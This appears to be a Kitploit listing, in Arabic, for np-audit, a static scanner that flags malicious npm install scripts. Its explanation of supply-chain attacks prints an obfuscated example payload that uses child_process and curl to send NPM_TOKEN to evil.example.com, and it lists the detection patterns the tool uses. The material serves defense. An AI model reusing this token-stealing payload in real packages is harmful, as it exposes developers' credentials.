Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
np-audit — تحليل أمان ثابت لحزم npm. يكتشف الكود المبهم والأنماط الخبيثة والثغرات المعروفة قبل التثبيت. | Kitploit
أدوات/GitHubGitHub/koblers/np-audit
التحليل الثابتماسحات الثغرات الأمنيةتحليل الكودتحليل البرمجيات الخبيثةكشف الأسرارأمن سلسلة التوريد
GitHubkoblers/np-audit

np-audit

تحليل أمان ثابت لحزم npm. يكتشف الكود المبهم والأنماط الخبيثة والثغرات المعروفة قبل التثبيت.

عرض المستودع
75منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — مدقق حزم npm

تحليل أمني ثابت لحزم npm — يكتشف البرامج النصية لدورة الحياة المبهمة، الثغرات المعروفة، والأنماط الخبيثة قبل تشغيلها. بديل مباشر لـ npm install و .

npm ci

لا تبعيات. فقط مكونات Node.js المضمنة. أقل من 100 كيلوبايت عند النقل.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # مسح جميع التبعيات
npa install                  # تدقيق ثم تثبيت
alias npm='npa'              # استخدام كبديل مباشر

المارشالات

الكشف مقسم إلى مارشالات معيارية — كل مارشال يكتشف إشارة هجوم واحدة:

المارشالما يكتشفهالدرجة
eval/dynamic-execeval()، new Function()، التقييم غير المباشر، vm.*، setTimeout مع سلسلة نصية8
obfuscator.ioأنماط تسمية المتغيرات _0x (مخرجات obfuscator.io)9–80
high-entropy-stringسلاسل طويلة أو سلاسل ضامة ذات إنتروبيا عالية6
hex-escape-densityتسلسلات هروب كثيفة \xNN و \uXXXX5–50
fromCharCodeString.fromCharCode مع العديد من الوسائط، مصفوفات رموز أحرف عشرية كبيرة7
encoded-decodeفك تشفير Base64/سداسي عشري (atob، Buffer.from) مع eval اختيارياً3–8
child-processrequire('child_process')، exec، spawn، fork، worker_threads5
hex-arrayقيم حرفية سداسية عشرية 0x بأعداد كبيرة7–60
process-envالوصول إلى process.env (إشارة تسريب بيانات الاعتماد)3
network-callrequire('https')، fetch()، dns، net، tls4
filesystem-manipulationfs.writeFile، chmod، symlink (استمرارية الباب الخلفي)3–4
runtime-downloadتنزيل وتنفيذ بيئات تشغيل خارجية (Bun، Deno)9–50
vscode-autorun

تتدرج الدرجات مع الشدة — العد الأعلى لمؤشرات التمويه ينتج درجات أعلى. يعتمد الحكم النهائي على أعلى درجة فردية عبر جميع المارشالات.

انظر CONTRIBUTING.md لمعرفة كيفية كتابة مارشالات مخصصة.


فحص الثغرات (CVE)

يتم فحص كل حزمة ممسوحة مقابل قواعد بيانات الثغرات المعروفة إلى جانب تحليل الكود.

الافتراضي: OSV.dev (لا حاجة للإعداد)

يعمل فوراً — يستعلم واجهة OSV.dev المجانية عن الثغرات المعروفة وإرشادات الحزم الخبيثة.

اختياري: Snyk API (بيانات أكثر ثراءً)

root@kitploit:~
# متغير بيئي
export SNYK_API_TOKEN=your-token-here

# أو عبر واجهة Snyk CLI
snyk auth

ترتيب حل الرمز المميز: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

الشدةالدرجةالحكم
حزمة خبيثة80خطر
10 ثغرات فأكثر6تحذير
5–9 ثغرات5تحذير
1–4 ثغرات4تحذير

الثغرات غير الخبيثة (CVE) تنتج تحذيرات لكنها لا تمنع التثبيت أبدًا. فقط الحزم الخبيثة المؤكدة تؤدي إلى خطر.


الاستخدام

الأوامر

الأمرالاسم المستعارالوصف
npa install [package]npa iتدقيق ثم تشغيل npm install
npa ci—تدقيق ثم تشغيل npm ci
npa scan [package]npa sمسح فقط، بدون تثبيت
npa config getnpa c getعرض الإعدادات الحالية
npa config set <key> <value>npa c setتحديث قيمة إعداد
npa alias --install—تثبيت الاسم المستعار للشل
npa alias --uninstall—إزالة الاسم المستعار للشل

أي أمر غير معروف يتم توجيهه إلى npm (مثل npa run test، npa publish).

العلامات

العلامةالاختصارتعمل معالوصف
--review-rinstall، ciوضع تفاعلي — اختر البرامج النصية المسموح بها
--json—install، ci، scanإخراج JSON قابل للقراءة آلياً
--no-dev—install، ci، scanتخطي تبعيات التطوير
--verbose—الكلإظهار تقدم الجلب وتفاصيل إضافية
--version-v—طباعة الإصدار والخروج
--help-h—طباعة التعليمات والخروج

وضع --review التفاعلي

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

الإعدادات

يتم تخزين الإعدادات في ~/.npmauditor.json (عامة) ويمكن تجاوزها لكل مشروع باستخدام .npmauditor.json.

root@kitploit:~
npa config get                              # عرض الإعدادات الحالية
npa config set blockScore 6                 # الحظر عند درجة 6+
npa config set skipPackages '["esbuild"]'   # الثقة بحزم محددة
npa config set skipScopes '["@types"]'      # الثقة بنطاقات كاملة

جميع مفاتيح الإعدادات

المفتاحالافتراضيالوصف
blockScore7عتبة الدرجة للخطر (الخروج 1)
warnScore4عتبة الدرجة للتحذير (الخروج 0)
registryhttps://registry.npmjs.orgعنوان سجل npm
timeout30000مهلة طلب HTTP (مللي ثانية)
parallelFetches5التنزيلات المتزامنة
skipScopes[]بادئات @scope التي سيتم تخطيها
skipPackages[]أسماء الحزم التي سيتم تخطيها
silentfalseكتم الإخراج عند عدم العثور على مشكلات
scanSelftrueفحص البرامج النصية لدورة الحياة للمشروع الخاص
maxTarballSize50MBالحد الأقصى لحجم الأرشيف المفكوك (حماية من القنابل)
checkVulnerabilitiestrueفحص الحزم مقابل قواعد بيانات CVE
deepResolvefalseحل شجرة التبعية المتعدية بالكامل
disabledMarshallers[]أسماء المارشالات التي سيتم تخطيها أثناء المسح

تعطيل المارشالات

يمكنك تعطيل فحوصات كشف محددة عن طريق إضافة أسمائها إلى disabledMarshallers:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

لعرض جميع أسماء المارشالات المتاحة وحالتها الحالية:

root@kitploit:~
npa config marshallers

هذا مفيد عندما ينتج مارشال نتائج إيجابية خاطئة لسير عملك. يتم تخطي المارشالات المعطلة بالكامل أثناء كل من تحليل الكود الثابت وفحوصات مستوى الحزمة.


الاسم المستعار للشل

استخدم npa كبديل شفاف لـ npm:

root@kitploit:~
npa alias --install     # يضيف: alias npm='npa'
source ~/.zshrc         # إعادة تحميل الشل

الآن npm install، npm ci يقومون بالمسح تلقائياً. جميع أوامر npm الأخرى (npm run، npm test، npm publish) تمر دون تغيير.

root@kitploit:~
npa alias --uninstall   # إزالة الاسم المستعار

كيف يعمل

  1. تحليل package-lock.json (الإصدار 1/2/3) أو حل من package.json
  2. جلب الأرشيفات من السجل (أو القراءة من node_modules)
  3. تحليل أوامر دورة الحياة — يقسم &&/||/;/|، يتعامل مع node -e، sh -c، نصوص الشل
  4. تصفح الرسم البياني require()/import من كل مدخل (كشف الدورة، حد 50 ملف / 5 ميجابايت)
  5. تحليل مع جميع المارشالات — فحوصات الكود الثابت + استعلامات قاعدة بيانات CVE
  6. تقدير الدرجة وتصنيف: خطر / تحذير / جيد
  7. تقرير أو المتابعة للتثبيت

ناقل الهجوم

تستغل هجمات سلسلة التوريد البرامج النصية لدورة حياة npm. عند تشغيل npm install، يتم تشغيل أي برنامج نصي preinstall/install/postinstall تلقائياً. يخفي المهاجمون الحمولات خلف التمويه:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

حوادث واقعية:

  • event-stream (2018) — سرقة بيانات اعتماد محفظة بيتكوين
  • ua-parser-js (2021) — عامل تعدين عملات رقمية وسارق معلومات
  • node-ipc (2022) — برنامج ضار خاص بالمسح الجغرافي
  • colors / faker (2022) — تخريب من قبل المشرف
  • SAP CAP / cds-dbs (2025) — حزمة مخترقة تستهدف مطوري المؤسسات

npa لا ينفذ أبدًا البرامج النصية. يقوم بتنزيلها وتحليلها بشكل ثابت.


رموز الخروج

الكودالمعنى
0كل شيء نظيف أو تحذيرات فقط
1تم حظر حزمة واحدة أو أكثر

الترخيص

MIT

تنزيل الأداة
مهام VS Code مع runOn: folderOpen (تنفيذ تلقائي)
30
known-vulnerabilityثغرات معروفة عبر واجهة Snyk API أو OSV.dev4–6 (تحذير)، 80 (خبيث)